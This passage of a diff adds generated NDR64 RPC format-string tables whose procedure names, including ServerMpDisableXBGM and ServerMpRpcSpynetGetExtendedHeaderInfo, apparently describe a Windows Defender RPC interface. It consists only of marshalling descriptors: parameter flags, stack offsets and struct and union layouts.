+ 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1948_t __midl_frag1948 = +{ +/* *hyper */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 12 /* 0xc */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2164 +}; + +static const __midl_frag1942_t __midl_frag1942 = +{ +/* Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + { + /* Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ /* procedure Proc198_ServerMpRpcDeviceControlPrintAccessCheck */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 144 /* 0x90 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2164, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1925_t __midl_frag1925 = +{ +/* Proc196_ServerMpDisableXBGM */ + { + /* Proc196_ServerMpDisableXBGM */ /* procedure Proc196_ServerMpDisableXBGM */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 24 /* 0x18 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 2 /* 0x2 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2367, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + } +}; + +static const __midl_frag1921_t __midl_frag1921 = +{ +/* Struct_4194_t */ + { + /* Struct_4194_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4194_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + } +}; + +static const __midl_frag1920_t __midl_frag1920 = +{ +/* *Struct_4194_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1921 +}; + +static const __midl_frag1918_t __midl_frag1918 = +{ +/* Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + { + /* Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ /* procedure Proc195_ServerMpRpcSpynetGetExtendedHeaderInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 36 /* 0x24 */, + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x70, /* FC64_BIND_CONTEXT */ + (NDR64_UINT8) 64 /* 0x40 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_0 */ /* parameter arg_0 */ + &__midl_frag2346, + { + /* arg_0 */ + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1921, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1914_t __midl_frag1914 = +{ +/* Struct_4178_t */ + { + /* Struct_4178_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4178_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag1913_t __midl_frag1913 = +{ +/* *Struct_4178_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1914 +}; + +static const __midl_frag1912_t __midl_frag1912 = +{ +/* Proc194_ServerMpRpcGetDeviceControlStatus */ + { + /* Proc194_ServerMpRpcGetDeviceControlStatus */ /* procedure Proc194_ServerMpRpcGetDeviceControlStatus */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1914, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1908_t __midl_frag1908 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 44 /* 0x2c */ + } +}; + +static const __midl_frag1907_t __midl_frag1907 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1908 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1906_t __midl_frag1906 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag1905_t __midl_frag1905 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1906 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1904_t __midl_frag1904 = +{ +/* Struct_4142_t */ + { + /* Struct_4142_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4142_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1907 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1903_t __midl_frag1903 = +{ +/* Struct_4142_t */ + { + /* Struct_4142_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4142_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 64 /* 0x40 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1904 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1902_t __midl_frag1902 = +{ +/* *Struct_4142_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1903 +}; + +static const __midl_frag1896_t __midl_frag1896 = +{ +/* Struct_4118_t */ + { + /* Struct_4118_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4118_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1907 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1895_t __midl_frag1895 = +{ +/* Struct_4118_t */ + { + /* Struct_4118_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4118_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 56 /* 0x38 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1896 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1894_t __midl_frag1894 = +{ +/* *Struct_4118_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1895 +}; + +static const __midl_frag1891_t __midl_frag1891 = +{ +/* Struct_4086_t */ + { + /* Struct_4086_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4086_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1890_t __midl_frag1890 = +{ +/* Struct_4086_t */ + { + /* Struct_4086_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4086_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1891 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1889_t __midl_frag1889 = +{ +/* *Struct_4086_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1890 +}; + +static const __midl_frag1886_t __midl_frag1886 = +{ +/* Struct_4066_t */ + { + /* Struct_4066_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_4066_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1885_t __midl_frag1885 = +{ +/* Struct_4066_t */ + { + /* Struct_4066_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4066_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1886 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1884_t __midl_frag1884 = +{ +/* *Struct_4066_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1885 +}; + +static const __midl_frag1883_t __midl_frag1883 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1905 + } +}; + +static const __midl_frag1879_t __midl_frag1879 = +{ +/* Struct_4044_t */ + { + /* Struct_4044_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4044_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1883, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1878_t __midl_frag1878 = +{ +/* *Struct_4044_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1879 +}; + +static const __midl_frag1877_t __midl_frag1877 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1876_t __midl_frag1876 = +{ +/* union_3992 */ + { + /* union_3992 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 5 /* 0x5 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1878, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 2 /* 0x2 */, + &__midl_frag1884, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 3 /* 0x3 */, + &__midl_frag1889, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 4 /* 0x4 */, + &__midl_frag1894, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 5 /* 0x5 */, + &__midl_frag1902, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1875_t __midl_frag1875 = +{ +/* Struct_4158_t */ + { + /* Struct_4158_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4158_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 